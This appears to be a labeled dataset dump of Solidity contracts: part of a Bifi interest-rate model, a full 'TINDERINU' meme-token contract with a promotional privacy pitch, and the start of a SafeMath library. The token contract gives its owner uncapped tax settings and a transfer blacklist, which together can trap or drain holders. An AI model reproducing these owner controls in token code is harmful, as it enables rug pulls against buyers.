function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getMinimumInterestRate() external view returns (uint256);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function getLiquiditySensitivity() external view returns (uint256);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function getMarginCallLimit() external view returns (uint256);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
// File: contracts/SafeMath.sol
// from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
pragma solidity ^0.6.12;
library SafeMath {
uint256 internal constant unifiedPoint = 10 ** 18;
/******************** Safe Math********************/
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "a");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
return _sub(a, b, "s");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
return _mul(a, b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return _div(a, b, "d");
}
function _sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b <= a, errorMessage);
return a - b;
}
function _mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a* b;
require((c / a) == b, "m");
return c;
}
function _div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b > 0, errorMessage);
return a / b;
}
function unifiedDiv(uint256 a, uint256 b) internal pure returns (uint256)
{
return _div(_mul(a, unifiedPoint), b, "d");
}
function unifiedMul(uint256 a, uint256 b) internal pure returns (uint256)
{
return _div(_mul(a, b), unifiedPoint, "m");
}
}
// File: contracts/Errors.sol
pragma solidity 0.6.12;
contract Modifier {
string internal constant ONLY_OWNER = "O";
string internal constant ONLY_MANAGER = "M";
string internal constant CIRCUIT_BREAKER = "emergency";
}
contract ManagerModifier is Modifier {
string internal constant ONLY_HANDLER = "H";
string internal constant ONLY_LIQUIDATION_MANAGER = "LM";
string internal constant ONLY_BREAKER = "B";
}
contract HandlerDataStorageModifier is Modifier {
string internal constant ONLY_BIFI_CONTRACT = "BF";
}
contract SIDataStorageModifier is Modifier {
string internal constant ONLY_SI_HANDLER = "SI";
}
contract HandlerErrors is Modifier {
string internal constant USE_VAULE = "use value";
string internal constant USE_ARG = "use arg";
string internal constant EXCEED_LIMIT = "exceed limit";
string internal constant NO_LIQUIDATION = "no liquidation";
string internal constant NO_LIQUIDATION_REWARD = "no enough reward";
string internal constant NO_EFFECTIVE_BALANCE = "not enough balance";
string internal constant TRANSFER = "err transfer";
}
contract SIErrors is Modifier { }
contract InterestErrors is Modifier { }
contract LiquidationManagerErrors is Modifier {
string internal constant NO_DELINQUENT = "not delinquent";
}
contract ManagerErrors is ManagerModifier {
string internal constant REWARD_TRANSFER = "RT";
string internal constant UNSUPPORTED_TOKEN = "UT";
}
contract OracleProxyErrors is Modifier {
string internal constant ZERO_PRICE = "price zero";
}
contract RequestProxyErrors is Modifier { }
contract ManagerDataStorageErrors is ManagerModifier {
string internal constant NULL_ADDRESS = "err addr null";
}
// File: contracts/interestModel/interestModel.sol
pragma solidity 0.6.12;
/**
* @title Bifi interestModel Contract
* @notice Contract for interestModel
* @author Bifi
*/
contract interestModel is interestModelInterface, InterestErrors {
using SafeMath for uint256;
address owner;
mapping(address => bool) public operators;
uint256 constant blocksPerYear = 2102400;
uint256 constant unifiedPoint = 10 ** 18;
uint256 minRate;
uint256 basicSensitivity;
/* jump rate model prams */
uint256 jumpPoint;
uint256 jumpSensitivity;
uint256 spreadRate;
struct InterestUpdateModel {
uint256 SIR;
uint256 BIR;
uint256 depositTotalAmount;
uint256 borrowTotalAmount;
uint256 userDepositAmount;
uint256 userBorrowAmount;
uint256 deltaDepositAmount;
uint256 deltaBorrowAmount;
uint256 globalDepositEXR;
uint256 globalBorrowEXR;
uint256 userDepositEXR;
uint256 userBorrowEXR;
uint256 actionDepositEXR;
uint256 actionBorrowEXR;
uint256 deltaDepositEXR;
uint256 deltaBorrowEXR;
bool depositNegativeFlag;
bool borrowNegativeFlag;
}
modifier onlyOwner {
require(msg.sender == owner, ONLY_OWNER);
_;
}
modifier onlyOperator {
address sender = msg.sender;
require(operators[sender] || sender == owner, "Only Operators");
_;
}
/**
* @dev Construct a new interestModel contract
* @param _minRate minimum interest rate
* @param _jumpPoint Threshold of utilizationRate to which normal interest model
* @param _basicSensitivity liquidity basicSensitivity
* @param _jumpSensitivity The value used to calculate the BIR if the utilizationRate is greater than the jumpPoint.
* @param _spreadRate spread rate
*/
constructor (uint256 _minRate, uint256 _jumpPoint, uint256 _basicSensitivity, uint256 _jumpSensitivity, uint256 _spreadRate) public
{
address sender = msg.sender;
owner = sender;
operators[owner] = true;
minRate = _minRate;
basicSensitivity = _basicSensitivity;
jumpPoint = _jumpPoint;
jumpSensitivity = _jumpSensitivity;
spreadRate = _spreadRate;
}
/**
* @dev Replace the owner of the handler
* @param _owner the address of the new owner
* @return true (TODO: validate results)
*/
function ownershipTransfer(address payable _owner) onlyOwner external returns (bool)
{
owner = _owner;
return true;
}
/**
* @dev Get the address of owner
* @return the address of owner
*/
function getOwner() public view returns (address)
{
return owner;
}
/**
* @dev set Operator or not
* @param _operator the address of the operator
* @param flag operator permission
* @return true (TODO: validate results)
*/
function setOperators(address payable _operator, bool flag) onlyOwner external returns (bool) {
operators[_operator] = flag;
return true;
}
/**
* @dev Calculates interest amount for a user
* @param handlerDataStorageAddr The address of handlerDataStorage contract
* @param userAddr The address of user
* @param isView Select _view (before action) or _get (after action) function for calculation
* @return (bool, uint256, uint256, bool, uint256, uint256)
*/
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view override returns (bool, uint256, uint256, bool, uint256, uint256)
{
if (isView)
{
return _viewInterestAmount(handlerDataStorageAddr, userAddr);
}
else
{
return _getInterestAmount(handlerDataStorageAddr, userAddr);
}
}
/**
* @dev Calculates interest amount for a user (before user action)
* @param handlerDataStorageAddr The address of handlerDataStorage contract
* @param userAddr The address of user
* @return (bool, uint256, uint256, bool, uint256, uint256)
*/
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view override returns (bool, uint256, uint256, bool, uint256, uint256)
{
return _viewInterestAmount(handlerDataStorageAddr, userAddr);
}
/**
* @dev Get Supply Interest Rate (SIR) and Borrow Interest Rate (BIR) (external)
* @param totalDepositAmount The amount of total deposit
* @param totalBorrowAmount The amount of total borrow
* @return (uint256, uin256)
*/
function getSIRandBIR(uint256 totalDepositAmount, uint256 totalBorrowAmount) external view override returns (uint256, uint256)
{
return _getSIRandBIR(totalDepositAmount, totalBorrowAmount);
}
/**
* @dev Calculates interest amount for a user (after user action)
* @param handlerDataStorageAddr The address of handlerDataStorage contract
* @param userAddr The address of user
* @return (bool, uint256, uint256, bool, uint256, uint256)
*/
function _getInterestAmount(address handlerDataStorageAddr, address payable userAddr) internal view returns (bool, uint256, uint256, bool, uint256, uint256)
{
marketHandlerDataStorageInterface handlerDataStorage = marketHandlerDataStorageInterface(handlerDataStorageAddr);
uint256 delta = handlerDataStorage.getInactiveActionDelta();
uint256 actionDepositEXR;
uint256 actionBorrowEXR;
(actionDepositEXR, actionBorrowEXR) = handlerDataStorage.getActionEXR();
return _calcInterestAmount(handlerDataStorageAddr, userAddr, delta, actionDepositEXR, actionBorrowEXR);
}
/**
* @dev Calculates interest amount for a user (before user action)
* @param handlerDataStorageAddr The address of handlerDataStorage contract
* @param userAddr The address of user
* @return (bool, uint256, uint256, bool, uint256, uint256)
*/
function _viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) internal view returns (bool, uint256, uint256, bool, uint256, uint256)
{
marketHandlerDataStorageInterface handlerDataStorage = marketHandlerDataStorageInterface(handlerDataStorageAddr);
uint256 blockDelta = block.number.sub(handlerDataStorage.getLastUpdatedBlock());
/* check action in block */
uint256 globalDepositEXR;
uint256 globalBorrowEXR;
(globalDepositEXR, globalBorrowEXR) = handlerDataStorage.getGlobalEXR();
return _calcInterestAmount(handlerDataStorageAddr, userAddr, blockDelta, globalDepositEXR, globalBorrowEXR);
}
/**
* @dev Calculate interest amount for a user with BIR and SIR (interal)
* @param handlerDataStorageAddr The address of handlerDataStorage contract
* @param userAddr The address of user
* @return (bool, uint256, uint256, bool, uint256, uint256)
*/
function _calcInterestAmount(address handlerDataStorageAddr, address payable userAddr, uint256 delta, uint256 actionDepositEXR, uint256 actionBorrowEXR) internal view returns (bool, uint256, uint256, bool, uint256, uint256)
{
InterestUpdateModel memory interestUpdateModel;
marketHandlerDataStorageInterface handlerDataStorage = marketHandlerDataStorageInterface(handlerDataStorageAddr);
(interestUpdateModel.depositTotalAmount, interestUpdateModel.borrowTotalAmount, interestUpdateModel.userDepositAmount, interestUpdateModel.userBorrowAmount) = handlerDataStorage.getAmount(userAddr);
(interestUpdateModel.SIR, interestUpdateModel.BIR) = _getSIRandBIRonBlock(interestUpdateModel.depositTotalAmount, interestUpdateModel.borrowTotalAmount);
(interestUpdateModel.userDepositEXR, interestUpdateModel.userBorrowEXR) = handlerDataStorage.getUserEXR(userAddr);
/* deposit start */
interestUpdateModel.globalDepositEXR = _getNewGlobalEXR(actionDepositEXR, interestUpdateModel.SIR, delta);
(interestUpdateModel.depositNegativeFlag, interestUpdateModel.deltaDepositAmount) = _getDeltaAmount(interestUpdateModel.userDepositAmount, interestUpdateModel.globalDepositEXR, interestUpdateModel.userDepositEXR);
/* deposit done */
/* borrow start */
interestUpdateModel.globalBorrowEXR = _getNewGlobalEXR(actionBorrowEXR, interestUpdateModel.BIR, delta);
(interestUpdateModel.borrowNegativeFlag, interestUpdateModel.deltaBorrowAmount) = _getDeltaAmount(interestUpdateModel.userBorrowAmount, interestUpdateModel.globalBorrowEXR, interestUpdateModel.userBorrowEXR);
/* borrow done */
return (interestUpdateModel.depositNegativeFlag, interestUpdateModel.deltaDepositAmount, interestUpdateModel.globalDepositEXR, interestUpdateModel.borrowNegativeFlag, interestUpdateModel.deltaBorrowAmount, interestUpdateModel.globalBorrowEXR);
}
/**
* @dev Calculates the utilization rate of market
* @param depositTotalAmount The total amount of deposit
* @param borrowTotalAmount The total amount of borrow
* @return The utilitization rate of market
*/
function _getUtilizationRate(uint256 depositTotalAmount, uint256 borrowTotalAmount) internal pure returns (uint256)
{
if ((depositTotalAmount == 0) && (borrowTotalAmount == 0))
{
return 0;
}
return borrowTotalAmount.unifiedDiv(depositTotalAmount);
}
/**
* @dev Get SIR and BIR (internal)
* @param depositTotalAmount The amount of total deposit
* @param borrowTotalAmount The amount of total borrow
* @return (uint256, uin256)
*/
function _getSIRandBIR(uint256 depositTotalAmount, uint256 borrowTotalAmount) internal view returns (uint256, uint256)
// TODO: update comment(jump rate)
{
/* UtilRate = TotalBorrow / (TotalDeposit + TotalBorrow) */
uint256 utilRate = _getUtilizationRate(depositTotalAmount, borrowTotalAmount);
uint256 BIR;
uint256 _jmpPoint = jumpPoint;
/* BIR = minimumRate + (UtilRate * liquiditySensitivity) */
if(utilRate < _jmpPoint) {
BIR = utilRate.unifiedMul(basicSensitivity).add(minRate);
} else {
/*
Formula : BIR = minRate + jumpPoint * basicSensitivity + (utilRate - jumpPoint) * jumpSensitivity
uint256 _baseBIR = _jmpPoint.unifiedMul(basicSensitivity);
uint256 _jumpBIR = utilRate.sub(_jmpPoint).unifiedMul(jumpSensitivity);
BIR = minRate.add(_baseBIR).add(_jumpBIR);
*/
BIR = minRate
.add( _jmpPoint.unifiedMul(basicSensitivity) )
.add( utilRate.sub(_jmpPoint).unifiedMul(jumpSensitivity) );
}
/* SIR = UtilRate * BIR */
uint256 SIR = utilRate.unifiedMul(BIR).unifiedMul(spreadRate);
return (SIR, BIR);
}
/**
* @dev Get SIR and BIR per block (internal)
* @param depositTotalAmount The amount of total deposit
* @param borrowTotalAmount The amount of total borrow
* @return (uint256, uin256)
*/
function _getSIRandBIRonBlock(uint256 depositTotalAmount, uint256 borrowTotalAmount) internal view returns (uint256, uint256)
{
uint256 SIR;
uint256 BIR;
(SIR, BIR) = _getSIRandBIR(depositTotalAmount, borrowTotalAmount);
return ( SIR.div(blocksPerYear), BIR.div(blocksPerYear) );
}
/**
* @dev Calculates the rate of globalEXR (for borrowEXR or depositEXR)
* @param actionEXR The rate of actionEXR
* @param interestRate The rate of interest
* @param delta The interval between user actions (in block)
* @return The amount of newGlobalEXR
*/
function _getNewGlobalEXR(uint256 actionEXR, uint256 interestRate, uint256 delta) internal pure returns (uint256)
{
return interestRate.mul(delta).add(unifiedPoint).unifiedMul(actionEXR);
}
/**
* @dev Calculates difference between globalEXR and userEXR
* @param unifiedAmount The unifiedAmount (for fixed decimal number)
* @param globalEXR The amount of globalEXR
* @param userEXR The amount of userEXR
* @return (bool, uint256)
*/
function _getDeltaAmount(uint256 unifiedAmount, uint256 globalEXR, uint256 userEXR) internal pure returns (bool, uint256)
{
uint256 deltaEXR;
bool negativeFlag;
uint256 deltaAmount;
if (unifiedAmount != 0)
{
(negativeFlag, deltaEXR) = _getDeltaEXR(globalEXR, userEXR);
deltaAmount = unifiedAmount.unifiedMul(deltaEXR);
}
return (negativeFlag, deltaAmount);
}
/**
* @dev Calculates the delta EXR between globalEXR and userEXR
* @param newGlobalEXR The new globalEXR
* @param lastUserEXR The last userEXR
* @return (bool, uint256)
*/
function _getDeltaEXR(uint256 newGlobalEXR, uint256 lastUserEXR) internal pure returns (bool, uint256)
{
uint256 EXR = newGlobalEXR.unifiedDiv(lastUserEXR);
if (EXR >= unifiedPoint)
{
return ( false, EXR.sub(unifiedPoint) );
}
return ( true, unifiedPoint.sub(EXR) );
}
//TODO: Need comment
function getMinRate() external view returns (uint256) {
return minRate;
}
function setMinRate(uint256 _minRate) external onlyOperator returns (bool) {
minRate = _minRate;
return true;
}
function getBasicSensitivity() external view returns (uint256) {
return basicSensitivity;
}
function setBasicSensitivity(uint256 _sensitivity) external onlyOperator returns (bool) {
basicSensitivity = _sensitivity;
return true;
}
function getJumpPoint() external view returns (uint256) {
return jumpPoint;
}
function setJumpPoint(uint256 _jumpPoint) external onlyOperator returns (bool) {
jumpPoint = _jumpPoint;
return true;
}
function getJumpSensitivity() external view returns (uint256) {
return jumpSensitivity;
}
function setJumpSensitivity(uint256 _sensitivity) external onlyOperator returns (bool) {
jumpSensitivity = _sensitivity;
return true;
}
function getSpreadRate() external view returns (uint256) {
return spreadRate;
}
function setSpreadRate(uint256 _spreadRate) external onlyOperator returns (bool) {
spreadRate = _spreadRate;
return true;
}
}
// File: contracts/truffleKit/InterestModel.sol
pragma solidity 0.6.12;
contract DaiInterestModel is interestModel {
constructor(
uint256 _minRate,
uint256 _jumpPoint,
uint256 _basicSensitivity,
uint256 _jumpSensitivity,
uint256 _spreadRate
)
interestModel(
_minRate,
_jumpPoint,
_basicSensitivity,
_jumpSensitivity,
_spreadRate
) public {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/*
SPDX-License-Identifier: Unlicensed
https://t.me/tinderinuportal
The answer is simple, we value your privacy much more than the disrespectful Tinder.
Have you ever realised that you are not lured into falling in love with a girl or guy but also lured into giving away all your information including locations,
interests and jobs, pictures, music tastes and most importantly who you dated to one single app.
Tinder knows your sexual preference, your fear and your weakness even more than yourself.
Can you imagine what will happen if this treasure trove of data gets hacked,
is made public or simply bought by another company? There is no difference between being seen naked in public or can be even worse.
That’s why we present you the Tinder Inu, A on chain dating app service.
The only information we take will be your wallet address and that’s all.
We won’t know your sexual preference, your favourite positon or your darkest secret.
Secure and confidential. Join us if you want to see a more secure and privacy-respecting society.
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TINDERINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TINDERINU";
string private constant _symbol = "TINDERINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e11 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 8;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x247cA0d77735212db1b34313A9dB1f4dc0406C1e);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e9 * 10**9;
uint256 public _maxWalletSize = 2e9 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
} | True | [
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pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
